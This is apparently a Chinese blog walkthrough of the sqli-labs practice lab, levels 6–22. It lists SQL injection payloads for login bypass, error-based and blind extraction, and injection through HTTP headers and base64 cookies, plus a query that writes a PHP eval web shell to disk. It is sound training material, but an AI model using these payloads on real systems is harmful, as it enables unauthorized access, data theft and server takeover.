something about sqliLabs 0x03

sqli-labs

sqli-labs => 备份地址

Page-1(Basic Challenges)

Less-11

POST - Error Based - Single quotes - String

提交方式为POST方式,直接构造post请求
uname=username&passwd=password'+or+true+--+&submit=Submituname=username&passwd=password'+or+true+--+&submit=Submit都可,两处都可注入。

Less-12

POST - Error Based - Double quotes - String - with twist

多试几次,发现闭合方式不同,双引号与括号闭合("$id")
uname=username")+or+true+--+&passwd=password&submit=Submituname=username&passwd=password")+or+true+--+&submit=Submit都可,两处都可注入。

Less-13

POST - Double Injection - Single quotes - String - with twist

闭合方式为('$password')
uname=username')+or+true+--+&passwd=password&submit=Submituname=username&passwd=password')+or+true+--+&submit=Submit两处都可注入。

Less-14

POST - Double Injection - Double quotes - String - with twist

闭合方式为"$password"
uname=username"+or+true+--+&passwd=password&submit=Submituname=username&passwd=password"+or+true+--+&submit=Submit两处都可注入。

Less-15

POST - Blind - Boolean/Time Based - Single quotes

uname=username'+or+true+--+&passwd=password&submit=Submituname=username&passwd=password'+or+true+--+&submit=Submit两处都可注入。

Less-16

POST - Blind - Boolean/Time Based - Double quotes

uname=username")+or+true+--+&passwd=password&submit=Submituname=username&passwd=password")+or+true+--+&submit=Submit都可以注入。

Less-17

POST - Update Query - Error Based - String

这不是普通的select语句,而是update语句,可以利用0x01中学到的updatexml(),extractvalue()报错来获取信息。

uname=Dumb&passwd=newpassword'+or+updatexml(1,concat(0x7e,database()),1)+or+'close&submit=Submit即可成功注入,并获得了database()信息。

Less-18

POST - Header Injection - Uagent field - Error based

需要注入HTTP头,由于这次查询,先查询用户/密码是否存在,如果存在,将其 User-Agent 存入数据库中。

注入HTTP头User-Agent属性。

1
2
3
4
5
6
7
POST /Less-18/ HTTP/1.1
Host: train.com
User-Agent: test' or updatexml(1,concat(0x7e, database()) ,1) or 'close
...
Upgrade-Insecure-Requests: 1

uname=admin&passwd=admin&submit=Submit

Less-19

POST - Header Injection - Referer field - Error based

注入HTTP头Referer属性,此属性是用来标识,请求来源于哪个URL

1
2
3
4
5
6
7
8
9
10
POST /Less-19/ HTTP/1.1
...
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
...
Referer: close' or updatexml(1,concat(0x7e, database()) ,1) or 'close
...

uname=admin&passwd=admin&submit=Submit

Less-20

POST - Cookie Injections - Uagent field - Error based

HTTP头Cookie属性进行注入。

1
2
3
4
5
6
7
POST /Less-20/ HTTP/1.1
Host: train.com
...
Cookie: uname=admin' or updatexml(1, concat(0x7e, database()),1) or 'close; ZDEDebuggerPresent=php,phtml,php3
Upgrade-Insecure-Requests: 1

uname=admin&passwd=admin&submit=Submit

跟隨redirection,即可以看到结果。

Less-21

POST - Cookie Injections - Uagent field - Error based

Less-20 相同,但是观察到uname = YWRtaW4=中是有=存在的,联想到 BASE64编码后,会出现=补足编码。

使用base64工具解码查看:

1
2
~$ echo "YWRtaW4=" | base64 -d -
admin

与请求内容吻合,因此构造好payload后还需要进行BASE64编码。
构造payload为admin' or updatexml(1, concat(0x7e, database()),1) or 'close

使用base64工具编码:

1
2
~$ echo "admin' or updatexml(1, concat(0x7e, database()),1) or 'close" | base64 -
YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLCBjb25jYXQoMHg3ZSwgZGF0YWJhc2UoKSksMSkgb3IgJ2Nsb3NlCg==

最终payload为:

1
2
3
4
GET /Less-21/index.php HTTP/1.1
...
Cookie: uname=YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLCBjb25jYXQoMHg3ZSwgZGF0YWJhc2UoKSksMSkgb3IgJ2Nsb3NlCg%3d%3d; ZDEDebuggerPresent=php,phtml,php3
Upgrade-Insecure-Requests: 1

Less-22

POST - Cookie Injections - Uagent field - Error based

Less-21 相比,闭合方式为",其他相同。


something about sqliLabs 0x02

sqli-labs

sqli-labs => 备份地址

Page-1(Basic Challenges)

Less-6

Get - Double Injection - Double Quotes - String

大致与Less-5相同,不同之处为闭合符号为双引号(")。

Less-7

Get - Dump into outfile - String

构造输出文件,输出webshell
?id=1'))+and+false+union+select+null,0x3c3f706870206576616c28245f4745545b27636d64275d29203f3e,null+from+dual+into+outfile+'C:\\wwwroot\\sqliLabs\\Less-4'+--+

此种漏洞条件比较苛刻,需要mysql配置可以写入文件,需要知道绝对路径等等。

其中0x3c3f706870206576616c28245f4745545b27636d64275d29203f3e<?php eval($_GET['cmd'])?>的hex编码形式。 关于hex编码可以使用vim组件的xxd

Less-8

GET - Blind - Boolean Based - Single Quotes

基于布尔的盲注,注入后,页面不会显示对应内容。

注入?id=1'+and+false+--+?id=1'+or+true+--+,发现页面响应内容不同,因此可以确认注入点。

确认注入点后,通过?id=1'+and+(length(database())+<+20)+--+获得数据库长度, 通过?id=1'+and+(ascii(substr(database(),1,1))>ascii('m'))+--+等可以确定数据库的名字。

通过?id=1'+and+(length((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1))+<+20)+--+等 获得数据表的长度,id=1'+and+(ascii(substr((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1,1))+<+ascii('m'))+--+等 确定数据表的名字。

Less-9

GET - Blind - Time Based - Single Quotes

基于时间的盲注,注入后,页面不会显示对应内容。

注入?id=1'+or+true+--+?id=1'+and+sleep(5)+--+,发现页面响应时间明显不同,因此可以确认注入点。

通过与Less-8相似的注入技巧,可以获取敏感信息。

例:
?id=1'+and+(ascii(substr(database(),1,1))<ascii('m'))+and+sleep(5)+--+

Less-10

GET - Blind - Time Based - Double Quotes

通过?id=1'+and+sleep(5)+--+?id=1"+and+sleep(5)+--+页面响应时间明显不同,可以确定闭合方式为", 其它与Less-9相同。